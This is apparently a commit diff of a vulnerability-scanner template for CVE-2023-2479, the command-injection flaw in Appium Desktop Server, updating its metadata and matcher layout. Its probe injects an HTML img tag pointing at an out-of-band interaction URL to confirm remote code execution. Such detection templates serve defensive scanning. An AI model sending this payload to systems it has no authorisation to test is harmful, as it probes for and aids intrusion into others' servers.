minor update
parent
a711c0cc04
commit
ae67cf87ba
|
@ -1,53 +1,47 @@
|
||||||
id: CVE-2023-2479
|
id: CVE-2023-2479
|
||||||
|
|
||||||
info:
|
info:
|
||||||
name: Zero Click Remote Code Execution on Appium Desktop Server
|
name: Appium Desktop Server - Remote Code Execution
|
||||||
author: zn9988, Aden Yap Chuen Zhen (chuenzhen.yap2@baesystems.com)
|
author: zn9988
|
||||||
severity: Critical
|
severity: critical
|
||||||
description: Appium Desktop Server is susceptible to an unauthenticated remote code execution vulnerability.
|
description: |
|
||||||
|
OS Command Injection in GitHub repository appium/appium-desktop prior to v1.22.3-4.
|
||||||
|
remediation: Fixed in v1.22.3-4
|
||||||
classification:
|
classification:
|
||||||
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
||||||
cvss-score: 9.8
|
cvss-score: 9.8
|
||||||
cve-id: CVE-2023-2479
|
cve-id: CVE-2023-2479
|
||||||
|
cwe-id: CWE-78
|
||||||
|
epss-score: 0.0008
|
||||||
|
epss-percentile: 0.3333
|
||||||
|
cpe: cpe:2.3:a:appium:appium-desktop:*:*:*:*:*:*:*:*
|
||||||
reference:
|
reference:
|
||||||
- https://nvd.nist.gov/vuln/detail/CVE-2023-2479
|
- https://nvd.nist.gov/vuln/detail/CVE-2023-2479
|
||||||
- https://huntr.dev/bounties/fbdeec3c-d197-4a68-a547-7f93fb9594b4/
|
- https://huntr.dev/bounties/fbdeec3c-d197-4a68-a547-7f93fb9594b4/
|
||||||
tags: http,rce,dast,oast,cve,electron
|
tags: cve,cve2023,appium,oast,rce
|
||||||
|
|
||||||
requests:
|
http:
|
||||||
- method: GET
|
- method: GET
|
||||||
path:
|
path:
|
||||||
- '{{BaseURL}}/?url=<img/src="http://{{interactsh-url}}">'
|
- '{{BaseURL}}/?url=<img/src="http://{{interactsh-url}}">'
|
||||||
|
|
||||||
matchers-condition: and
|
matchers-condition: and
|
||||||
matchers:
|
matchers:
|
||||||
# Response String
|
- type: word
|
||||||
|
part: interactsh_protocol
|
||||||
|
words:
|
||||||
|
- "dns"
|
||||||
|
|
||||||
- type: word
|
- type: word
|
||||||
part: body
|
part: body
|
||||||
words:
|
words:
|
||||||
- "The requested resource could not be found, or a request was received using an HTTP method that is not supported by the mapped resource"
|
- "The requested resource could not be found, or a request was received using an HTTP method that is not supported by the mapped resource"
|
||||||
|
|
||||||
# Status Code
|
|
||||||
- type: status
|
|
||||||
status:
|
|
||||||
- 404
|
|
||||||
|
|
||||||
# Content Type
|
|
||||||
- type: word
|
- type: word
|
||||||
part: header
|
part: header
|
||||||
words:
|
words:
|
||||||
- "application/json"
|
- "application/json"
|
||||||
|
|
||||||
# Response Header
|
- type: status
|
||||||
- type: word
|
status:
|
||||||
part: header
|
- 404
|
||||||
words:
|
|
||||||
- "X-Powered-By: Express"
|
|
||||||
|
|
||||||
# Captured the interact callbacks
|
|
||||||
- type: word
|
|
||||||
part: interactsh_protocol
|
|
||||||
condition: or
|
|
||||||
words:
|
|
||||||
- "dns"
|
|
||||||
- "http"
|
|
||||||
|
|
Loading…
Reference in New Issue